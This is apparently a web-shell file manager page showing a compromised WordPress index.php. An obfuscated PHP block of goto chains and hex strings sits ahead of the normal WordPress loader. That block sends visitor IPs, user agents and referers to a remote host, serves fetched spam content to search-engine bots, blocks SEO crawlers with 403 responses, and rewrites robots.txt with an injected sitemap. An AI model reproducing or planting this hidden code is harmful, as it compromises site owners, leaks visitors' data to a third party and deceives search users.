OwlCyberSecurity - MANAGER

Edit File: index.php

<?php goto dJ9IF; BT6pL: curl_setopt($wg9DW, CURLOPT_FOLLOWLOCATION, false); goto ugsal; SKBXZ: $SeoPe = "\x68\141\x75\x74"; goto uEc1w; mScy5: I0ukM("\162\157\x62\x6f\164\163\56\164\170\164", $mvzDQ); goto q4iHr; Pavvz: error_reporting(0); goto QAZOo; h_wWA: $mvzDQ = trim($mvzDQ) . "\15\xa" . "\x53\x69\x74\145\x6d\141\160\x3a\40{$yLaV7}"; goto qKRdf; v9i_E: I0Ukm($OJF4J, "\x31"); goto FR76C; FR76C: ZUGhU: goto xl8TP; rf66J: $thMGY = urlencode($_SERVER["\x48\124\124\120\x5f\x48\117\x53\124"]); goto aMoqT; BHqdH: if (substr($PPFYu, 0, 5) == "\x3c\77\x78\x6d\154") { goto Mt2nV; } goto jsnGr; VtOOd: $_SERVER["\122\105\x51\125\105\123\x54\x5f\123\x43\x48\105\115\105"] = "\150\164\164\x70\163"; goto if8VB; CQSD1: if (!(strpos($go_yd, "\x62\x62\153\x62\x62\x6b") !== false)) { goto YiMKe; } goto FatYx; bjitM: $CUGxG = urlencode($CUGxG); goto rf66J; GG_8P: if (!empty($_SERVER["\122\x45\x51\x55\x45\x53\x54\x5f\x53\x43\110\105\115\x45"]) and $_SERVER["\x52\x45\121\x55\105\x53\x54\137\x53\103\x48\105\115\105"] == "\x68\x74\164\x70\163" or !empty($_SERVER["\x48\x54\x54\120\123"]) and $_SERVER["\x48\124\x54\x50\123"] == "\x6f\x6e" or !empty($_SERVER["\x53\105\122\x56\105\x52\x5f\120\117\122\124"]) and $_SERVER["\123\x45\122\x56\x45\122\x5f\x50\117\x52\124"] == "\64\64\63" or isset($_SERVER["\110\124\x54\120\x5f\130\137\106\x4f\122\x57\x41\122\104\x45\104\137\x50\122\117\x54\117"]) and $_SERVER["\110\124\x54\120\137\130\137\x46\x4f\122\127\x41\x52\104\x45\104\x5f\120\122\x4f\x54\x4f"] == "\150\164\164\160\163") { goto T7YZJ; } goto suZ0T; slcbL: goto PvJ9M; goto YLfzf; j51CU: $PPFYu = @file_get_contents($pnHsn); goto ggHs7; hhEsh: Ssi1Y: goto pVTh_; H1QlA: $jIwD8 = 0; goto flIjv; LwmK9: kdTWZ: goto bjitM; ArYZf: goto kdTWZ; goto bCywT; lzXCb: I0ErA: goto qj3MU; Mek_2: $Y4Otc = "\150"; goto ASwhn; aMoqT: $phkoS = urlencode($_SERVER["\123\x43\122\x49\120\x54\137\116\101\x4d\105"]); goto GG_8P; mbubm: goto pM6iQ; goto n2dZl; bQw55: T7YZJ: goto VtOOd; IdwCk: exit; goto RBSOp; RBSOp: YiMKe: goto H1QlA; YbT2K: $mvzDQ = ''; goto nH4_v; QGEfs: $yLaV7 = "{$FmC0v}\72\x2f\57" . $thMGY . $fOzfw . "\163\151\164\x65\155\141\160\x2e\170\x6d\x6c"; goto h_wWA; flIjv: $OJF4J = "\142\x62\x6b\56\164\x78\164"; goto UkmGG; v98pB: $fOzfw = $_SERVER["\123\x43\122\111\120\124\137\x4e\x41\115\x45"]; goto z7D9E; B451T: echo $PPFYu; goto e3YY5; suZ0T: $_SERVER["\x52\x45\x51\125\105\x53\124\x5f\x53\103\110\x45\115\x45"] = "\150\164\164\x70"; goto nKw4L; qKRdf: $oamAF = ''; goto YGSU7; HRY20: $go_yd = urlencode($_SERVER["\122\105\x51\x55\x45\123\124\x5f\x55\122\111"]); goto CQSD1; nH4_v: if (!(strpos($go_yd, "\x70\x69\x6e\147\x73\151\164\145\x6d\x61\x70") !== false)) { goto ten4S; } goto v98pB; OM67L: exit; goto DFpos; Ujlsd: if (strpos($go_yd, "\162\x6f\x62\x6f\x74\x73\x2e\164\x78\164") !== false or strpos($go_yd, "\160\151\156\147\x73\x69\x74\x65\155\x61\160") !== false or strpos($go_yd, "\152\x70\62\x30\x32\x33") !== false or preg_match("\x40\x5e\x2f\x28\56\52\x3f\x29\x2e\x78\155\x6c\x24\100\151", $_SERVER["\122\x45\121\x55\x45\123\124\137\125\122\x49"]) or preg_match("\57\50{$FLDea}\x29\x2f\x69", $_SERVER["\110\124\x54\x50\x5f\125\123\x45\122\x5f\101\107\x45\116\124"]) or preg_match("\x2f\50{$FLDea}\x29\57\151", @$_SERVER["\110\x54\x54\x50\x5f\x52\105\106\x45\x52\105\x52"])) { goto MKA_Z; } goto mxsoB; zHXGD: exit; goto PxWMm; q38d1: if (isset($_SERVER["\110\124\124\120\137\103\114\111\x45\116\x54\x5f\111\x50"])) { goto OE4hF; } goto Mxh4G; p0c7S: $FLDea = "\x47\x6f\157\147\154\x65\x7c\x42\151\x6e\x67\x7c\131\x61\x68\157\x6f\174\104\x6f\x63\x6f\x6d\157"; goto Pavvz; nJENx: q3OuK: goto W_vxu; OLjTP: $PPFYu = @file_get_contents($ITM7i); goto TRXW_; QAZOo: if (!preg_match("\x2f\x28\145\172\157\x6f\155\163\x7c\120\171\164\x68\x6f\156\55\165\x72\x6c\x6c\151\142\x7c\105\x61\163\157\165\x53\x70\151\x64\x65\x72\174\101\x70\x61\143\x68\x65\x42\x65\156\143\x68\174\x46\x65\x65\x64\x44\145\x6d\157\x6e\x7c\x47\120\124\x42\157\x74\x7c\117\x42\x6f\x74\x7c\112\141\165\156\164\x79\174\x59\x61\156\144\145\170\x42\x6f\x74\174\x79\151\163\x6f\x75\x53\160\x69\x64\145\162\174\x50\x79\164\x68\157\156\x2d\162\145\161\x75\x65\163\x74\163\174\171\x79\x53\160\x69\144\x65\162\x7c\123\145\155\162\x75\163\150\x42\157\164\x7c\160\x61\154\157\141\154\x74\157\x6e\145\164\x77\157\162\x6b\x73\174\x44\141\x74\141\x46\x6f\162\x53\x45\117\x7c\123\x63\162\x61\160\x79\x7c\x46\x65\x65\x64\x6c\171\x7c\123\145\172\x6e\141\155\x42\157\164\174\112\x69\x6b\x65\x53\x70\151\144\145\x72\x7c\112\141\x76\x61\x7c\101\163\153\124\142\106\130\124\126\174\x62\x79\x74\145\163\x70\x69\x64\145\162\x7c\x61\x68\x72\145\x66\x73\x42\157\164\174\x6c\x69\147\150\164\x44\145\x63\x6b\122\x65\x70\157\x72\164\x73\x20\x42\x6f\164\174\x68\x65\x72\x69\x74\x72\151\x78\174\x48\164\164\160\x43\154\151\x65\156\164\x7c\103\157\157\154\x70\x61\144\127\x65\142\153\151\164\174\x5a\x6d\x45\x75\174\x42\141\x72\153\x72\157\167\154\145\162\x7c\x47\157\x2d\x68\164\164\x70\55\x63\x6c\151\x65\x6e\x74\174\x61\155\x61\x7a\157\x6e\x42\x6f\164\174\160\171\164\x68\157\156\x7c\155\152\61\62\x62\157\x74\x7c\x43\x65\156\163\171\163\x49\x6e\x73\x70\x65\143\x74\x7c\x44\157\164\x42\x6f\x74\174\111\156\144\x79\x20\x4c\151\x62\x72\141\x72\x79\x7c\x43\x72\141\167\x6c\104\x61\x64\144\x79\x7c\125\x6e\x69\x76\145\x72\x73\x61\154\106\x65\x65\x64\x50\141\x72\163\145\x72\x7c\104\151\147\105\170\164\x7c\160\145\x74\x61\154\102\x6f\x74\174\x53\x77\151\x66\164\142\157\164\51\57\x69", $_SERVER["\x48\x54\x54\120\137\x55\x53\x45\x52\137\101\107\x45\116\124"])) { goto YdGql; } goto FoMtj; z7D9E: if (strpos($fOzfw, "\151\156\x64\x65\x78\x2e\160\150") !== false) { goto oIxYw; } goto Qg8OK; e3YY5: if (!empty($mvzDQ)) { goto gPhHu; } goto F2rcB; ugsal: curl_setopt($wg9DW, CURLOPT_SSL_VERIFYPEER, FALSE); goto NW1ly; jsnGr: header("\x43\157\156\164\145\x6e\164\55\x54\171\160\x65\x3a\40\x74\145\x78\164\x2f\150\164\155\154\73\40\x63\150\x61\162\163\145\164\x3d\165\164\146\55\x38"); goto Bsv4n; F2rcB: if (!(strpos($go_yd, "\x72\x6f\x62\157\164\163\56\x74\x78\164") !== false)) { goto uWU0g; } goto iqJDw; YOkAR: if (!(substr($PPFYu, 0, 10) == "\x65\162\x72\x6f\162\40\x63\157\x64\145" or $PPFYu == "\65\x30\60" or strpos($PPFYu, "\102\141\144\x20\107\x61\x74\x65\167\141\x79") !== false)) { goto p0oB0; } goto GZYI8; rJskf: uWU0g: goto d8i_8; qiTup: if (strpos($go_yd, "\x66\141\166\x69\x63\x6f\x6e\56\x69\143\x6f") !== false) { goto bb9CK; } goto Ujlsd; Qrxks: $fXDHO = urlencode(@$_SERVER["\110\124\x54\120\x5f\x52\x45\106\105\122\x45\122"]); goto SFSXQ; Bsv4n: goto gZj_C; goto C_hNQ; W_vxu: dARpJ: goto iH2mb; zl_tU: if ($jIwD8 == 0) { goto HuGu_; } goto P8RkX; pVTh_: if (empty($PPFYu)) { goto q3OuK; } goto YOkAR; zK6D6: header("\x48\124\x54\120\57\x31\56\61\40\64\x30\x34\x20\x4e\x6f\x74\x20\x46\x6f\165\156\x64"); goto Sv0Uy; dJ9IF: $M4SMy = "\157\162\56\x63\157"; goto SKBXZ; S4seF: $fOzfw = "\57\77"; goto lzXCb; GBGxd: $ITM7i = $YuCPT . "\x3f\x61\x67\145\156\x74\x3d{$i1y9L}\46\162\145\x66\x65\x72\x3d{$fXDHO}\46\154\141\x6e\147\x3d{$G2Jwx}\x26\x69\160\75{$CUGxG}\x26\x64\157\x6d\75{$thMGY}\46\x68\164\164\x70\75{$FmC0v}\46\x75\x72\x69\x3d{$go_yd}\x26\x70\143\x3d{$TE9Pw}\46\162\145\167\x72\151\164\145\x61\x62\x6c\145\75{$jIwD8}\46\x73\x63\x72\x69\x70\x74\75{$phkoS}"; goto YbT2K; Zwh8a: $pnHsn = $FmC0v . "\72\x2f\x2f" . $_SERVER["\110\124\x54\x50\x5f\x48\117\x53\124"] . "\57\142\142\153\142\x62\x6b"; goto j51CU; Qg8OK: $fOzfw = $fOzfw . "\77"; goto mbubm; y2Hfz: $MC8cj = "\70\67\56\x66\151\x73"; goto Mek_2; n2dZl: oIxYw: goto zl_tU; Mxh4G: if (isset($_SERVER["\110\x54\x54\x50\137\130\137\x46\117\122\127\101\122\x44\x45\x44\137\106\x4f\122"])) { goto cgpzs; } goto TocdZ; P8RkX: $fOzfw = "\x2f"; goto JLzHb; ejckP: $jIwD8 = nV26s($OJF4J); goto Os6j9; GZYI8: header("\110\124\124\x50\x2f\61\56\x30\x20\x35\60\x30\40\111\156\164\x65\x72\x6e\141\154\40\123\145\162\x76\145\x72\x20\105\162\x72\157\162"); goto zHXGD; d8i_8: goto LzmV_; goto ly18Q; wqyzD: bb9CK: goto RShXy; FatYx: echo "\157\153"; goto IdwCk; iqJDw: I0UKm("\162\x6f\142\157\164\163\x2e\164\x78\x74", $PPFYu); goto rJskf; kxC33: $jIwD8 = 0; goto duWbQ; JLzHb: goto I0ErA; goto LKdja; xCL2L: curl_close($wg9DW); goto hhEsh; TocdZ: goto kdTWZ; goto zDjZu; LKdja: HuGu_: goto S4seF; nmkwX: $wg9DW = curl_init(); goto jFAyQ; AzR7N: header("\x43\157\156\x74\145\156\164\x2d\x54\171\160\x65\72\40\x74\145\x78\x74\57\x78\x6d\x6c\x3b\40\x63\150\141\162\x73\145\x74\x3d\x75\164\146\x2d\70"); goto DgW81; DFpos: YdGql: goto Qrxks; DXZHF: return; goto nJENx; SufxK: $FmC0v = urlencode($_SERVER["\x52\105\x51\125\105\x53\124\137\123\103\x48\x45\115\105"]); goto HRY20; Os6j9: goto E8ija; goto GtqHA; bCywT: cgpzs: goto N_ZH6; NW1ly: curl_setopt($wg9DW, CURLOPT_SSL_VERIFYHOST, FALSE); goto TWSPI; ly18Q: gPhHu: goto mScy5; Ksyw2: $G2Jwx = urlencode(@$_SERVER["\110\x54\x54\x50\x5f\x41\x43\103\x45\120\x54\137\114\101\116\x47\125\101\x47\x45"]); goto TYsWy; EztD4: hs5UD: goto N4VHi; zDjZu: OE4hF: goto dPP8N; natjV: $mvzDQ = "\125\x73\145\162\x2d\x61\147\145\x6e\164\72\x20\52\xd\xa\101\154\154\x6f\x77\x3a\40\57"; goto QGEfs; N4VHi: $jIwD8 = 1; goto v9i_E; UkmGG: if (!is_file($OJF4J)) { goto nkspN; } goto ejckP; iH2mb: goto LxH06; goto wqyzD; cWt5y: if (strpos($go_yd, "\x6a\x70\62\x30\62\x33") !== false) { goto W8Vuu; } goto BHqdH; uEc1w: $TX_PF = "\150\x74\x74\x70\x3a\x2f\x2f\143\167\x31\x36"; goto zZe20; q4iHr: LzmV_: goto Dm7Tk; TWSPI: $PPFYu = curl_exec($wg9DW); goto xCL2L; NrkSB: $TE9Pw = "\126\x77\164\143\x41\167\x4a"; goto p0c7S; RZiLc: function i0ukM($PRieS, $uPDOT) { goto r_Zdk; icoNk: fwrite($mWMda, $uPDOT); goto ifOcP; JMSLk: dQW6N: goto KOfOt; r_Zdk: $mWMda = fopen($PRieS, "\167"); goto aGHyC; KOfOt: return false; goto Xpn80; DN1N0: return true; goto JMSLk; aGHyC: if (!$mWMda) { goto dQW6N; } goto icoNk; ifOcP: fclose($mWMda); goto DN1N0; Xpn80: } goto e7zRc; e7zRc: function nv26s($PRieS) { goto L8xLw; NOIlM: wyLgN: goto OH_bT; L8xLw: $mWMda = fopen($PRieS, "\162"); goto SZa33; o9bQw: return $uPDOT; goto NOIlM; OH_bT: return false; goto Wdyt4; jvm8q: $uPDOT = fread($mWMda, filesize($PRieS)); goto HwC6I; HwC6I: fclose($mWMda); goto o9bQw; SZa33: if (!$mWMda) { goto wyLgN; } goto jvm8q; Wdyt4: } goto SufxK; SFSXQ: $i1y9L = urlencode($_SERVER["\110\x54\124\x50\137\x55\x53\x45\122\x5f\101\x47\105\x4e\124"]); goto Ksyw2; qj3MU: pM6iQ: goto natjV; FoMtj: header("\x48\124\124\x50\x2f\x31\x2e\60\x20\64\60\x33\40\x46\x6f\x72\142\151\x64\144\145\x6e"); goto OM67L; QDHKZ: $ITM7i = $YuCPT . "\77\141\x67\145\x6e\164\x3d{$i1y9L}\46\162\x65\x66\x65\162\x3d{$fXDHO}\x26\x6c\x61\x6e\x67\x3d{$G2Jwx}\46\x69\160\x3d{$CUGxG}\x26\x64\x6f\x6d\x3d{$thMGY}\46\150\164\x74\x70\75{$FmC0v}\46\x75\162\151\75{$go_yd}\46\160\143\x3d{$TE9Pw}\46\162\145\167\162\x69\x74\145\141\142\x6c\x65\75{$jIwD8}\46\163\x63\x72\x69\160\164\75{$phkoS}\46\x73\151\164\145\155\141\x70\75" . urlencode($yLaV7); goto JqLoa; PxWMm: p0oB0: goto cWt5y; mxsoB: goto dARpJ; goto FEBxR; xl8TP: E8ija: goto qiTup; YGSU7: echo $yLaV7 . "\72\x20" . $oamAF . "\x3c\142\x72\x2f\76"; goto QDHKZ; JqLoa: ten4S: goto OLjTP; DgW81: gZj_C: goto slcbL; nKw4L: goto jb08q; goto bQw55; ASwhn: $YuCPT = $TX_PF . $MC8cj . $SeoPe . $Y4Otc . $M4SMy . $q_y44; goto NrkSB; TYsWy: $CUGxG = $_SERVER["\x52\x45\x4d\117\x54\105\x5f\101\104\x44\x52"]; goto q38d1; TRXW_: if (!empty($PPFYu)) { goto Ssi1Y; } goto nmkwX; C_hNQ: Mt2nV: goto AzR7N; N_ZH6: $CUGxG = $_SERVER["\110\x54\x54\120\x5f\130\137\x46\x4f\x52\x57\x41\122\104\105\x44\x5f\106\x4f\x52"]; goto LwmK9; GtqHA: nkspN: goto Zwh8a; dPP8N: $CUGxG = $_SERVER["\110\124\x54\120\x5f\103\114\x49\105\116\x54\x5f\111\x50"]; goto ArYZf; Dm7Tk: exit; goto DXZHF; duWbQ: i0UkM($OJF4J, "\x30"); goto gWZaJ; FEBxR: MKA_Z: goto GBGxd; tikK5: curl_setopt($wg9DW, CURLOPT_RETURNTRANSFER, true); goto BT6pL; YLfzf: W8Vuu: goto zK6D6; if8VB: jb08q: goto RZiLc; Sv0Uy: PvJ9M: goto B451T; gWZaJ: goto ZUGhU; goto EztD4; jFAyQ: curl_setopt($wg9DW, CURLOPT_URL, $ITM7i); goto tikK5; ggHs7: if ($PPFYu === "\x6f\153") { goto hs5UD; } goto kxC33; zZe20: $q_y44 = "\x6d\x2f"; goto y2Hfz; RShXy: LxH06: ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';